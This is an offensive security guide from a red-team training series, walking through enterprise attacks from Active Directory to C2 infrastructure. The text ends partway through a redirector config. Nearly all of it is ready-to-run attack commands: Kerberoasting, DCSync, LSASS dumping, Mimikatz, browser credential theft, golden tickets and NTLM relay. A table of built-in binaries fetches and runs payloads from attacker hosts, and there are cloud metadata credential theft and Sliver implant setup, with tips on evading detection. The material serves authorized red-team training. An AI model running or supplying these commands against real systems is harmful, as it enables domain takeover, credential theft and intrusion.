



◆ OFFENSIVE SECURITY SERIES ◆

Top 10 Enterprise

Attack Areas for Red Teamers

Active Directory · ADCS · Credential Theft · Lateral Movement · Kerberos
Network Attacks · Cloud · C2 Infrastructure · Endpoint Bypass · Persistence

Active Directory

ADCS

Kerberos

Cloud

C2

Persistence

LOLBins

Module 10 — RTG Community Learning Series

RedTeamGarage (RTG) | Offensive Security Education<https://www.redteamgarage.com/>

LEGAL DISCLAIMER

This guide is produced by RedTeamGarage (RTG) strictly for educational purposes.
All techniques must ONLY be used in authorized engagements with written permission.
Using offensive tools against targets without authorization is a criminal offense.
RTG assumes zero liability for misuse. Authorized testing ONLY.

**TABLE OF CONTENTS**

Top 10 Enterprise Attack Areas for Offensive Red Teamers

- 01. ACTIVE DIRECTORY — THE CROWN JEWELS**
- 02. ADCS — CERTIFICATE SERVICES ABUSE**
- 03. CREDENTIAL THEFT & LSASS ATTACKS**
- 04. LATERAL MOVEMENT & LIVING OFF THE LAND**
- 05. KERBEROS ABUSE — DEEP DIVE**
- 06. NETWORK INFRASTRUCTURE ATTACKS**
- 07. CLOUD & HYBRID ENVIRONMENT ATTACKS**
- 08. COMMAND & CONTROL (C2) INFRASTRUCTURE**
- 09. SUPPLY CHAIN & ENDPOINT BYPASS**
- 10. PRIVILEGE ESCALATION & PERSISTENCE**



01 — ACTIVE DIRECTORY: THE CROWN JEWELS

Kerberoasting · AS-REP Roasting · BloodHound · DCSync · ACL Abuse · RBCD

Active Directory (AD) is the backbone of virtually every enterprise environment and the #1 target in red team engagements. Compromising AD means owning the entire domain — every workstation, server, and user account. The attack surface spans identity, delegation, ACLs, Kerberos, Group Policy, and certificate services.

1.1 BloodHound — Attack Path Mapping

BloodHound uses graph theory to reveal attack paths to Domain Admin that are invisible through manual enumeration. SharpHound collects data via LDAP, SMB, and RPC — ingest into BloodHound for instant path visualization.

\$ BloodHound — SharpHound Collection + Cypher Queries

```
# SharpHound — full collection
PS C:\> .\SharpHound.exe -c All --zipfilename rtg_bh.zip

# Stealth — DCOnly + ObjectProps (less LDAP noise)
PS C:\> .\SharpHound.exe -c DCOnly,ObjectProps,Default --stealth

# BloodHound.py from Linux (no agent needed on target)
$ bloodhound-python -u jdoe -p Pass123 -d corp.local -ns 10.10.10.5 -c all

# Cypher — shortest path to Domain Admins
MATCH p=shortestPath((u:User)-[*1..]->(g:Group {name:'DOMAIN ADMIN@CORP.LOCAL'})) RETURN p

# Cypher — Kerberoastable accounts with AdminCount=True
MATCH (u:User {hasspn:true}) WHERE u.admincount=true RETURN u.name,u.serviceprincipalnames

# Cypher — computers where DA has active sessions
MATCH (c:Computer)-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group {name:'DOMAIN ADMIN@CORP.LOCAL'}) RETURN c.name,u.name
```

OPSEC

OPSEC: SharpHound -c All generates heavy LDAP traffic and can alert modern SIEMs.

In sensitive engagements use DCOnly first, then targeted follow-up collections.

BloodHound.py from a Linux jump box blends well with normal AD replication traffic.

1.2 Kerberoasting (T1558.003)

Any authenticated domain user can request TGS tickets for accounts with SPNs and crack them offline. High-value targets: SQL, IIS, Exchange, backup, and service desk accounts. No special privileges required beyond standard domain authentication.

\$ Kerberoasting — Impacket + Rubeus + Hashcat

```
# GetUserSPNs — enumerate and roast all SPNs
$ GetUserSPNs.py corp.local/jdoe:Pass123 -dc-ip 10.10.10.5 -request -outputfile tgs.txt

# Rubeus — RC4 downgrade for easier offline cracking
PS C:\> .\Rubeus.exe kerberoast /rc4opsec /outfile:tgs.txt
PS C:\> .\Rubeus.exe kerberoast /user:svc_sql /rc4opsec /outfile:tgs_sql.txt

# PowerView — enumerate SPNs manually
PS C:\> Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname,admincount

# Crack TGS-REP hash — Hashcat mode 13100
$ hashcat -m 13100 tgs.txt /opt/wordlists/rockyou.txt
$ hashcat -m 13100 tgs.txt /opt/wordlists/rockyou.txt -r rules/best64.rule
$ hashcat -m 13100 tgs.txt /opt/wordlists/rockyou.txt --rules-file OneRuleToRuleThemAll.rule
```

1.3 AS-REP Roasting (T1558.004)

Accounts with "Do not require Kerberos preauthentication" expose their AS-REP hash to unauthenticated attackers. Common in service accounts and misconfigured user objects. No credentials required for the attack.

\$ AS-REP Roasting — No Credentials Required

```
# No credentials — spray against a list of usernames
$ GetNPUsers.py corp.local/ -usersfile users.txt -no-pass -dc-ip 10.10.10.5

# With credentials — auto-enumerate all vulnerable accounts
$ GetNPUsers.py corp.local/jdoe:Pass123 -dc-ip 10.10.10.5 -request

# Rubeus — AS-REP roast all vulnerable accounts
PS C:\> .\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt

# Crack AS-REP hash — Hashcat mode 18200
$ hashcat -m 18200 asrep.txt /opt/wordlists/rockyou.txt
$ hashcat -m 18200 asrep.txt /opt/wordlists/rockyou.txt -r rules/best64.rule
```

1.4 DCSync Attack (T1003.006)

DCSync abuses the Directory Replication Service (DRS) protocol to extract NTLM hashes from any Domain Controller without ever touching LSASS. Requires: Replicating Directory Changes + Replicating Directory Changes All privileges (or DA / EA membership). The gold standard for domain credential extraction.

\$ DCSync — secretsdump.py + Mimikatz

```
# Impacket secretsdump – remote DCSync, no agent on DC required
$ secretsdump.py corp.local/da_user:Pass123@10.10.10.5 -just-dc-ntlm
$ secretsdump.py corp.local/da_user:Pass123@10.10.10.5 -just-dc-user krbtgt
$ secretsdump.py corp.local/da_user:Pass123@10.10.10.5 -outputfile domain_dump

# Pass-the-Hash DCSync
$ secretsdump.py -hashes :<NTLM> corp.local/da_user@10.10.10.5 -just-dc-ntlm

# Mimikatz – from compromised Windows host
mimikatz # privilege::debug
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt
mimikatz # lsadump::dcsync /domain:corp.local /all /csv
```

WARNING

Detection: DCSync generates Event ID 4662 (Object Access with Replicating Directory Changes). Modern SIEMs and EDRs alert on this aggressively. Time attacks during high-noise windows, or perform DCSync from a compromised DC itself to avoid generating network-side alerts.

1.5 ACL / ACE Abuse

Misconfigured Access Control Entries are goldmines for stealthy privilege escalation. Key rights to hunt: WriteDACL, GenericAll, GenericWrite, WriteOwner, ForceChangePassword on privileged objects — all enabling DA escalation without exploiting software vulns.

\$ ACL / ACE Abuse — PowerView + BloodHound

```
# PowerView – find abusable ACEs across the domain
PS C:\> Find-InterestingDomainAcl | Where-Object {$_.ActiveDirectoryRights -match
'GenericAll|WriteDACL|WriteOwner|GenericWrite|ForceChangePassword'}

# Grant DCSync rights to controlled user via WriteDACL
PS C:\> Add-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local'
-PrincipalIdentity jdoe -Rights DCSync -Verbose

# Force password reset via GenericAll
PS C:\> Set-DomainUserPassword -Identity svc_admin
-AccountPassword (ConvertTo-SecureString 'P@ss!' -AsPlainText -Force) -Verbose

# BloodHound Cypher – find WriteDACL paths to admins
MATCH p=(u)-[:WriteDacl]->(g:Group) WHERE g.name =~ '.*ADMIN.*' RETURN p LIMIT 25

# Take ownership via WriteOwner, then grant rights
PS C:\> Set-DomainObjectOwner -Identity svc_admin -OwnerIdentity jdoe
PS C:\> Add-DomainObjectAcl -TargetIdentity svc_admin -PrincipalIdentity jdoe -Rights All
```



02 — ADCS — CERTIFICATE SERVICES ABUSE

ESC1-ESC8 · PassTheCert · Shadow Credentials · PetitPotam · Golden Certificates

ADCS is one of the most critically underestimated attack surfaces in enterprise environments. Misconfigured certificate templates and CA settings allow privilege escalation, persistence, and credential theft that survives password resets entirely — certificates remain valid until expiry.

2.1 ADCS Enumeration

\$ Certipy + Certify — Full ADCS Enumeration

```
# Certipy — find all vulnerable templates and CAs
$ certipy find -u jdoe@corp.local -p Pass123 -dc-ip 10.10.10.5 -vulnerable -stdout
$ certipy find -u jdoe@corp.local -p Pass123 -dc-ip 10.10.10.5 -enabled

# Certify.exe — Windows-side enumeration
PS C:\> .\Certify.exe find /vulnerable /quiet
PS C:\> .\Certify.exe cas # list all Certificate Authorities
```

2.2 ESC1 — Misconfigured Certificate Templates

Template allows requestor to supply arbitrary Subject Alternative Name (SAN). Request a certificate as any user — including Domain Admin — using a low-privilege account.

\$ ESC1 — Request Certificate as Domain Admin

```
# Certipy — request cert with arbitrary UPN (DA)
$ certipy req -u jdoe@corp.local -p Pass123 -ca corp-CA -template VulnTemplate
  -upn administrator@corp.local -dc-ip 10.10.10.5

# Authenticate with obtained certificate — get NTLM hash
$ certipy auth -pfx administrator.pfx -dc-ip 10.10.10.5
# [+] Got hash for administrator@corp.local: aad3b435...:NTLM_HASH

# Windows: Certify.exe + Rubeus
PS C:\> .\Certify.exe request /ca:DC01\corp-CA /template:VulnTemplate /altname:administrator
PS C:\> .\Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /password:P /ptt
```

2.3 ESC8 — NTLM Relay to ADCS Web Enrollment

ESC8 relays NTLM authentication to the ADCS Web Enrollment endpoint to obtain a certificate for any account. Combined with PetitPotam to coerce DC authentication — obtaining a DC certificate enables DCSync via PKINIT/UnPAC-the-Hash.

\$ ESC8 — PetitPotam + Certipy Relay Chain

```
# Step 1: Start Certipy relay listener
$ certipy relay -target http://ca.corp.local/certsrv/certfnsh.asp -ca corp-CA

# Step 2: Coerce DC authentication via PetitPotam
$ python3 PetitPotam.py -u jdoe -p Pass123 -d corp.local <ATTACKER_IP> <DC_IP>

# OR: Use PrinterBug (MS-RPRN) for coercion
$ python3 printerbug.py corp.local/jdoe:'Pass123'@<DC_IP> <ATTACKER_IP>

# Step 3: Certipy auto-obtains DC certificate → dc01.pfx
$ certipy auth -pfx dc01.pfx -dc-ip 10.10.10.5

# Step 4: DCSync with DC machine account hash
$ secretdump.py -hashes :<DC_NTLM> 'corp.local/DC01$'@10.10.10.5 -just-dc-ntlm
```

2.4 Shadow Credentials (msDS-KeyCredentialLink)

With WriteProperty on msDS-KeyCredentialLink, add a shadow credential (certificate/key pair) and authenticate via PKINIT to retrieve the NTLM hash — survives password resets entirely.

\$ Shadow Credentials — PyWhisker + Certipy

```
# PyWhisker — add shadow key credential to target account
$ pywhisker.py -d corp.local -u jdoe -p Pass123 --target svc_admin --action add

# Certipy shadow (automated — one command)
$ certipy shadow auto -u jdoe@corp.local -p Pass123 -account svc_admin -dc-ip 10.10.10.5
# [+] Got hash for svc_admin@corp.local: <NTLM_HASH>

# Manual PKINIT flow for cross-platform use
$ gettgtpkinit.py -cert-pfx svc_shadow.pfx corp.local/svc_admin svc.ccache
$ getnthash.py -key <AS-REP-SESSION-KEY> corp.local/svc_admin
```

2.5 ESC4 — Vulnerable Certificate Template ACL

If a user has WriteProperty or FullControl over a certificate template ACL, they can modify it to add ESC1 conditions — enabling arbitrary certificate requests as any user.

\$ ESC4 — Modify Template to Add ESC1 Conditions

```
# Step 1: Modify vulnerable template to enable ESC1
$ certipy template -u jdoe@corp.local -p Pass123 -template VulnTemplate -save-old

# Step 2: Request cert as DA (now ESC1-vulnerable)
$ certipy req -u jdoe@corp.local -p Pass123 -ca corp-CA -template VulnTemplate
  -upn administrator@corp.local

# Step 3: Restore original template (cleanup)
$ certipy template -u jdoe@corp.local -p Pass123 -template VulnTemplate -configuration orig.json
```

RTG TIP

TIP: Always restore modified certificate templates after exploitation.
Persistent golden certificate: request cert for krbtgt/DA with long validity.
Even after full password reset, the certificate remains valid until expiry.



03 — CREDENTIAL THEFT & LSASS ATTACKS

MITRE T1003.001 · T1003.002 · T1555 — LSASS · Mimikatz · DPAPI · Browser Creds

Credential theft remains the fastest path to lateral movement in enterprise environments. Modern defenses — Credential Guard, PPL, AV/EDR — have raised the bar significantly. Multiple bypass techniques and fallback methods are essential across varied endpoint configurations.

3.1 LSASS Dump Techniques

\$ LSASS Dump Variants — From Noisy to Stealthy

```
# Method 1: comsvcs.dll MiniDump (LOLBin — no extra tools)
PS C:\> rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump
(Get-Process lsass).Id C:\Temp\lsass.dmp full

# Method 2: ProcDump — Sysinternals (flagged by most AV)
PS C:\> .\procdump64.exe -accepteula -ma lsass.exe C:\Temp\lsass.dmp

# Method 3: Nanodump — encrypted dump, EDR bypass
PS C:\> .\nanodump.exe --write C:\Temp\nano.dmp --valid --fork --duplicate

# Method 4: SilentProcessExit / WerFault dump abuse
PS C:\> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\
SilentProcessExit\lsass.exe" /v ReportingMode /t REG_DWORD /d 1 /f

# Method 5: Direct syscall LSASS dump (bypass userland hooks)
# Tools: MalSecLogon, HandleKatz, PPLdump (PPL bypass required)

# Parse dump offline on Linux — no execution on target
$ pypykatz lsa minidump lsass.dmp
$ pypykatz registry --sam SAM --system SYSTEM --security SECURITY
```

3.2 Mimikatz Core Reference

\$ Mimikatz — Complete Credential Extraction Reference

```
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords          # Dump cleartext + NTLM hashes
mimikatz # sekurlsa::wdigest                 # Force WDigest (pre-KB2871997 targets)
mimikatz # sekurlsa::tickets /export         # Export all Kerberos tickets to .kirbi
mimikatz # sekurlsa::ekeys                   # AES256/AES128 Kerberos encryption keys

# Pass-the-Hash – spawn process with stolen NTLM
mimikatz # sekurlsa::pth /user:Administrator /domain:corp.local
              /ntlm:<NTLM_HASH> /run:cmd.exe

# DPAPI – decrypt cached credentials and secrets
mimikatz # dpapi::cred /in:C:\Users\jdoe\AppData\Roaming\Microsoft\
              Credentials\<BLOB_GUID> /unprotect
mimikatz # dpapi::masterkey /in:C:\Users\jdoe\AppData\Roaming\Microsoft\
              Protect\<SID>\<GUID> /rpc

# LSA secrets, SAM hashes, and cached logons
mimikatz # lsadump::secrets
mimikatz # lsadump::sam
mimikatz # lsadump::cache # DCC2 cached domain credentials
```

3.3 DPAPI & Browser Credential Theft

\$ DPAPI + Browser Credentials + Registry Hives

```
# SharpDPAPI – domain-backed DPAPI decryption
PS C:\> .\SharpDPAPI.exe credentials /pvk:domain_backup.pvk
PS C:\> .\SharpDPAPI.exe rdg /unprotect # RDP credentials
PS C:\> .\SharpDPAPI.exe triage /unprotect # All DPAPI blobs

# SharpChrome – Chrome saved passwords and cookies
PS C:\> .\SharpChrome.exe logins
PS C:\> .\SharpChrome.exe cookies

# LaZagne – automated multi-source credential dump
PS C:\> .\lazagne.exe all
PS C:\> .\lazagne.exe browsers

# Registry hive offline extraction + parsing
PS C:\> reg save HKLM\SAM C:\Temp\sam /y
PS C:\> reg save HKLM\SYSTEM C:\Temp\system /y
PS C:\> reg save HKLM\SECURITY C:\Temp\security /y
$ secretsdump.py -sam sam -security security -system system LOCAL
```

OPSEC

OPSEC: Avoid touching LSASS directly on EDR-monitored endpoints. Prefer remote DCSync over local LSASS dumps. When local access is needed, use fork-based or handle-duplication techniques (Nanodump) to minimize direct LSASS process handle creation that EDRs monitor aggressively.



04 — LATERAL MOVEMENT & LIVING OFF THE LAND

MITRE T1021 · T1047 · T1059 · T1218 — WMI · WinRM · SMB · DCOM · LOLBins

Lateral movement in enterprise networks primarily leverages built-in Windows protocols — WMI, SMB, WinRM, DCOM, and RPC — to blend with legitimate administrative activity. LOLBin techniques use Microsoft-signed binaries to avoid AV/EDR detection entirely.

4.1 SMB / PsExec Style Movement

\$ SMB Lateral Movement — Impacket + CrackMapExec

```
# psexec — creates PSEXESVC service (noisy but reliable)
$ psexec.py corp.local/administrator:Pass123@10.10.10.10 cmd.exe
$ psexec.py -hashes :<NTLM> corp.local/administrator@10.10.10.10 cmd.exe

# smbexec — uses COMSPEC, no binary upload (stealthier)
$ smbexec.py corp.local/administrator:Pass123@10.10.10.10

# atexec — task scheduler exec (no persistent service)
$ atexec.py corp.local/administrator:Pass123@10.10.10.10 'whoami'

# CrackMapExec — sweep and execute across subnet
$ cme smb 10.10.10.0/24 -u administrator -H <NTLM> -x whoami
$ cme smb 10.10.10.10 -u administrator -H <NTLM> --sam
$ cme smb 10.10.10.10 -u administrator -H <NTLM> --lsa
$ cme smb 10.10.10.0/24 -u administrator -H <NTLM> --shares
```

4.2 WMI & WinRM Execution

\$ WMI + WinRM — Fileless Lateral Movement

```
# Impacket wmiexec — WMI-based execution, no service creation
$ wmiexec.py corp.local/administrator:Pass123@10.10.10.10 cmd.exe
$ wmiexec.py -hashes :<NTLM> corp.local/administrator@10.10.10.10

# PowerShell WMI (T1047)
PS C:\> Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList 'cmd /c whoami'
-ComputerName TARGET01 -Credential $cred

# Evil-WinRM — full WinRM shell with upload/download (port 5985)
$ evil-winrm -i 10.10.10.10 -u administrator -p Pass123
$ evil-winrm -i 10.10.10.10 -u administrator -H <NTLM>

# PowerShell Remoting (T1021.006)
PS C:\> $sess = New-PSSession -ComputerName TARGET01 -Credential $cred
PS C:\> Invoke-Command -Session $sess -ScriptBlock { whoami; hostname; ipconfig }
PS C:\> Copy-Item -Path C:\Temp\tool.exe -Destination C:\Temp\ -ToSession $sess
```

4.3 DCOM Lateral Movement

\$ DCOM — Lateral Movement via COM Objects

```
# MMC20.Application – execute commands remotely
PS C:\> $com = [activator]::CreateInstance([type]::GetTypeFromProgID('MMC20.Application',
'TARGET01'))
PS C:\> $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,'/c whoami','7')

# ShellWindows / ShellBrowserWindow objects
PS C:\> $com = [activator]::CreateInstance([type]::GetTypeFromCLSID(
'9BA05972-F6A8-11CF-A442-00A0C90A8F39','TARGET01'))
PS C:\> $com.item().Document.Application.ShellExecute('cmd.exe','/c whoami','c:\windows\system32',

# Impacket dcomexec
$ dcomexec.py corp.local/administrator:Pass123@10.10.10.10 cmd.exe
```

4.4 LOLBins — Living Off the Land Reference

Binary	Technique	Example Command
certutil	File download / decode	certutil -urlcache -split -f http://10.0.0.1/b.exe C:\Temp\b.exe
bitsadmin	Background transfer	bitsadmin /transfer j /download http://attacker/b.exe C:\Temp\b.exe
regsvr32	AppLocker bypass (Squiblydoo)	regsvr32 /s /u /i:http://attacker/payload.sct scrobj.dll
mshta	HTA payload execution	mshta http://attacker/payload.hta
rundll32	DLL / JS execution	rundll32 javascript:"..\mshtml,RunHTMLApplication "
installutil	AppLocker bypass	installutil /logfile= /LogToConsole=false /U payload.dll
msiexec	Remote MSI install	msiexec /quiet /i http://attacker/payload.msi
wscript	JS/VBS execution	wscript //E:jscript C:\Temp\payload.txt
forfiles	Shell via parent process	forfiles /p c:\windows\system32 /m notepad.exe /c cmd.exe



05 — KERBEROS ABUSE — DEEP DIVE

MITRE T1558.001/002 · T1550.003 — Golden/Silver Ticket · Delegation · S4U · PTT

Kerberos is the default authentication protocol in AD environments. Forged tickets, delegation abuse, and S4U extensions provide stealthy impersonation and privilege escalation that often bypass traditional defenses and monitoring solutions.

5.1 Golden Ticket (T1558.001)

Golden Tickets are forged TGTs signed with the krbtgt account's NTLM hash. They grant access to any resource in the domain and remain valid for 10 years by default.

\$ Golden Ticket — Mimikatz + Impacket ticketer

```
# Step 1: Get krbtgt NTLM hash via DCSync
$ secretsdump.py corp.local/da:Pass123@10.10.10.5 -just-dc-user krbtgt

# Step 2: Get Domain SID
$ lookupsid.py corp.local/jdoe:Pass123@10.10.10.5 | grep "Domain SID"

# Step 3: Forge Golden Ticket — Mimikatz (inject in memory)
mimikatz # kerberos::golden /user:Administrator /domain:corp.local
          /sid:S-1-5-21-XXXX-XXXX-XXXX /krbtgt:<KRBGTGT_NTLM> /ptt

# Impacket ticketer — Linux (export as .ccache)
$ ticketer.py -nthash <KRBGTGT_NTLM> -domain-sid S-1-5-21-XXXX -domain corp.local Admin
$ export KRB5CCNAME=Admin.ccache
$ psexec.py -k -no-pass corp.local/Administrator@DC01.corp.local

# Rubeus on Windows
PS C:\> .\Rubeus.exe golden /user:Administrator /domain:corp.local
          /sid:S-1-5-21-XXXX /rc4:<KRBGTGT_NTLM> /ptt
```

5.2 Silver Ticket (T1558.002)

Silver Tickets are forged TGS tickets signed with a service account's NTLM hash. They bypass the KDC entirely and are harder to detect than Golden Tickets.

\$ Silver Ticket — Bypass KDC for Service Access

```
# Forge TGS for specific service — no KDC communication
mimikatz # kerberos::golden /user:Administrator /domain:corp.local
          /sid:S-1-5-21-XXXX /target:SQL01.corp.local /service:cifs
          /rc4:<SERVICE_ACCOUNT_NTLM> /ptt

# Key service names to target:
# cifs → SMB file access (most useful)
# http → Web apps + WinRM (HTTP SPN)
# mssql → SQL Server access
# host → SCM + PsExec equivalent
# rpcss → WMI remote execution

# Rubeus Silver Ticket
PS C:\> .\Rubeus.exe silver /service:cifs/SQL01.corp.local /rc4:<HASH>
          /user:Administrator /domain:corp.local /sid:S-1-5-21-XXXX /ptt
```

5.3 Unconstrained Delegation Abuse

\$ Unconstrained Delegation + TGT Theft + DA Escalation

```
# Find computers with Unconstrained Delegation
PS C:\> Get-DomainComputer -Unconstrained | Select-Object name,dnshostname
$ findDelegation.py corp.local/jdoe:Pass123 -dc-ip 10.10.10.5

# Coerce DC to authenticate to unconstrained host (PrinterBug)
$ python3 printerbug.py corp.local/jdoe:Pass123@<DC_IP> <UNCONSTRAINED_HOST_IP>

# Monitor LSASS on unconstrained host for incoming TGT
PS C:\> .\Rubeus.exe monitor /interval:5 /filteruser:DC01$

# Inject captured TGT + DCSync
PS C:\> .\Rubeus.exe ptt /ticket:<BASE64_TGT_FROM_MONITOR>
$ secretsdump.py -k -no-pass corp.local/DC01$@DC01.corp.local -just-dc-ntlm
```

5.4 Constrained Delegation + S4U2Proxy

\$ Constrained Delegation — S4U2Self / S4U2Proxy Chain

```
# Find accounts with Constrained Delegation configured
PS C:\> Get-DomainUser -TrustedToAuth | Select samaccountname,msds-allowedtodelegateto
PS C:\> Get-DomainComputer -TrustedToAuth | Select name,msds-allowedtodelegateto

# S4U2Self + S4U2Proxy — impersonate any user to target SPN
PS C:\> .\Rubeus.exe s4u /user:svc_constrained /rc4:<HASH>
      /impersonateuser:administrator /msdssp:cifs/fileserver.corp.local /ptt

# From Linux with impacket
$ getST.py -spn cifs/fileserver.corp.local -impersonate Administrator
  -hashes :<HASH> corp.local/svc_constrained
$ export KRB5CCNAME=Administrator@cifs_fileserver.corp.local.ccache
```

RTG TIP

RBCD Attack: With GenericWrite on a computer object, configure msDS-AllowedToActOnBehalfOfOtherIdentity to point to a controlled machine account. Then use S4U2Self + S4U2Proxy to impersonate DA — full compromise without DA.



06 — NETWORK INFRASTRUCTURE ATTACKS

MITRE T1557.001 · T1557.003 · T1040 — LLMNR · IPv6 · NTLM Relay · Coercion

Enterprise networks expose multiple Layer 2/3 attack surfaces. LLMNR/NBT-NS poisoning, IPv6 DHCPv6 hijacking, and NTLM relay attacks require no authentication and often yield privileged credentials within minutes of connecting to any internal network segment.

6.1 LLMNR / NBT-NS Poisoning

\$ Responder — LLMNR/NBT-NS/MDNS Poisoning

```
# Responder — answer poisoned name resolution requests
$ responder -I eth0 -rdwF
$ responder -I eth0 -A # Analyze mode — passive, no poisoning

# Captured NTLMv2 hashes appear in logs
$ cat /usr/share/responder/logs/SMB-NTLMv2-SSP-10.10.10.x.txt

# Crack NTLMv2 hashes — Hashcat mode 5600
$ hashcat -m 5600 ntlmv2.txt /opt/wordlists/rockyou.txt
$ hashcat -m 5600 ntlmv2.txt /opt/wordlists/rockyou.txt -r rules/best64.rule
```

6.2 NTLM Relay Attacks

\$ ntlmrelayx — Relay to SMB, LDAP, ADCS

```
# Check which hosts have SMB signing disabled (relay targets)
$ cme smb 10.10.10.0/24 --gen-relay-list targets_no_signing.txt
$ nmap --script smb2-security-mode -p445 10.10.10.0/24

# Relay to SMB — execute commands or dump SAM
$ ntlmrelayx.py -tf targets_no_signing.txt -smb2support
$ ntlmrelayx.py -tf targets.txt -smb2support -i # Interactive shell
$ ntlmrelayx.py -tf targets.txt -smb2support -c "whoami > C:\Temp\out.txt"

# Relay to LDAP — escalate privileges or add computer
$ ntlmrelayx.py -t ldap://10.10.10.5 --escalate-user jdoe
$ ntlmrelayx.py -t ldaps://10.10.10.5 --add-computer RTGhacker RTGhacker123!

# Relay to ADCS Web Enrollment (ESC8)
$ ntlmrelayx.py -t http://ca.corp.local/certsrv/certfnsh.asp --adcs --template DomainController
```

6.3 IPv6 DNS Takeover (mitm6)

Most Windows systems prefer IPv6 by default. mitm6 acts as a rogue DHCPv6 server and DNS resolver, redirecting authentication to the attacker without any user interaction.

\$ mitm6 — IPv6 DHCPv6 + LDAP Relay Chain

```
# Terminal 1: mitm6 - rogue DHCPv6 server + DNS
$ mitm6 -d corp.local

# Terminal 2: ntlmrelayx - relay to LDAP for computer account creation
$ ntlmrelayx.py -6 -t ldaps://10.10.10.5 -wh fakewpad.corp.local
  --add-computer RTGcomp RTGcomp123! --delegate-access

# Result: new computer account + RBCD configured
# → S4U2Self/S4U2Proxy → DA access
```

NOTE

NTLM relay requires SMB signing to be disabled on relay targets.
LDAP relay additionally requires LDAP signing/channel binding to be disabled.
Run ldap-checker.py against DCs to verify relay feasibility before attack.



07 — CLOUD & HYBRID ENVIRONMENT ATTACKS

MITRE T1078.004 · T1552.005 · T1530 — Azure AD · AADConnect · AWS · M365

Modern enterprises run hybrid environments — on-prem AD synced to Azure AD via AADConnect. Cloud misconfigurations, identity federation issues, and misconfigured permissions in Azure/AWS/M365 provide attack paths that bypass on-prem defenses entirely.

7.1 Azure AD Enumeration

\$ Azure AD Recon — ROADtools + AADInternals + Azure CLI

```
# ROADtools — BloodHound for Azure AD
$ roadrecon auth -u user@corp.onmicrosoft.com -p Pass123
$ roadrecon gather
$ roadrecon gui      # Browse results at http://localhost:5000

# AADInternals — Swiss Army knife for Azure/M365
PS C:\> Import-Module AADInternals
PS C:\> Invoke-AADIntReconAsInsider
PS C:\> Get-AADIntTenantDetails

# Azure CLI — enumerate roles and resources
$ az login && az account list --output table
$ az role assignment list --all --output table
$ az ad user list --output table
$ az keyvault list --output table
$ az storage account list --output table
```

7.2 AADConnect Credential Extraction

The AADConnect sync account (MSOL_XXXXXXX) has highly privileged Azure AD access. Dumping credentials from the AADConnect server allows extracting all Azure AD password hashes and resetting any user's password in the tenant.

\$ AADConnect — On-Prem to Azure AD Bridge Attack

```
# Extract MSOL account credentials from AADConnect database
PS C:\> Get-AADIntSyncCredentials
# Returns: MSOL_XXXXXXX username and cleartext password

# Use MSOL credentials to extract all Azure AD user hashes
PS C:\> $creds = Get-Credential      # Enter MSOL credentials
PS C:\> Open-AADIntOffice365Shell -Credentials $creds
PS C:\> Get-AADIntUserPasswordHashes # ALL cloud hashes

# Reset any user password via MSOL sync account
PS C:\> Set-AADIntUserPassword -SourceAnchor <IMMUTABLE_ID> -Password NewPass123!

# Gain Global Admin via AADConnect abuse
PS C:\> Add-AADIntGlobalAdmin -UserPrincipalName attacker@corp.onmicrosoft.com
```

7.3 AWS IMDSv1 SSRF + Lateral Movement

\$ AWS SSRF — IMDSv1 Metadata Service → Credential Theft

```
# IMDSv1 – accessible via SSRF from EC2 instance
$ curl http://169.254.169.254/latest/meta-data/
$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>
# Returns: AccessKeyId, SecretAccessKey, Token, Expiration

# Use obtained credentials – set environment variables
$ export AWS_ACCESS_KEY_ID=ASIA...
$ export AWS_SECRET_ACCESS_KEY=<SECRET>
$ export AWS_SESSION_TOKEN=<TOKEN>
$ aws sts get-caller-identity # Verify access

# Enumerate access and pivot
$ aws s3 ls && aws s3 ls s3://corp-backup --recursive
$ aws secretsmanager list-secrets
$ aws ec2 describe-instances --output table
$ aws iam list-attached-role-policies --role-name <ROLE>
```



08 — COMMAND & CONTROL (C2) INFRASTRUCTURE

MITRE T1071 · T1572 · T1090 — Sliver · Cobalt Strike · Havoc · DNS/HTTPS · Redirectors

A mature C2 infrastructure is the backbone of any advanced red team engagement. Modern enterprise defenses analyze DNS queries, HTTP/S traffic patterns, TLS certificate attributes, and behavioral baselines. Redirectors, domain fronting, and protocol blending are essential for long-term campaign persistence.

8.1 C2 Framework Comparison

Framework	Language	Protocol	License	Key Strength
Cobalt Strike	Java	HTTP/S, DNS, SMB, TCP	Commercial	Malleable C2 profiles — industry standard for red teams
Sliver	Go	HTTP/S, DNS, mTLS, WireGuard	Open Source	Implant obfuscation, multi-operator, modern feature set
Havoc	C/C++	HTTP/S, SMB	Open Source	Modern Cobalt Strike alternative — Demon agent
Brute Ratel	C++	HTTP/S, DNS	Commercial	EDR bypass focus, custom user-defined reflective loaders
Metasploit	Ruby	HTTP/S, TCP, staged	Open Source	Widest exploit library — ideal for initial access stage

8.2 Sliver C2 — Full Deployment

\$ Sliver C2 — Server Setup + Implant Generation

```
# Install Sliver server (Linux)
$ curl https://sliver.sh/install | sudo bash
$ sliver-server

# Generate HTTPS implant
sliver > https --lhost c2.yourdomain.com --lport 443 --save /tmp/beacon.exe

# Generate DNS implant (ultra-stealthy – bypasses HTTP proxies)
sliver > dns --domains c2.yourdomain.com --save /tmp/dns_beacon.exe

# Generate mTLS implant (mutual TLS – encrypted + authenticated)
sliver > mtls --lhost c2.yourdomain.com --lport 8888 --save /tmp/mtls_beacon.exe

# Start listeners
sliver > https && sliver > dns

# Session interaction
sliver > sessions
sliver > use <SESSION_ID>
sliver (VICTIM) > whoami && ps && netstat
sliver (VICTIM) > upload /opt/SharpHound.exe C:\\Temp\\SharpHound.exe
sliver (VICTIM) > execute-assembly SharpHound.exe -c All --zipfilename bh.zip
sliver (VICTIM) > download C:\\Temp\\bh.zip /tmp/loot/
```

8.3 Redirectors + OPSEC

\$ Nginx Redirector + C2 OPSEC Configuration

```
# Nginx redirector – forward C2 traffic, block everything else
# /etc/nginx/sites-available/c2_redirector:

# server {
#     listen 443 ssl;
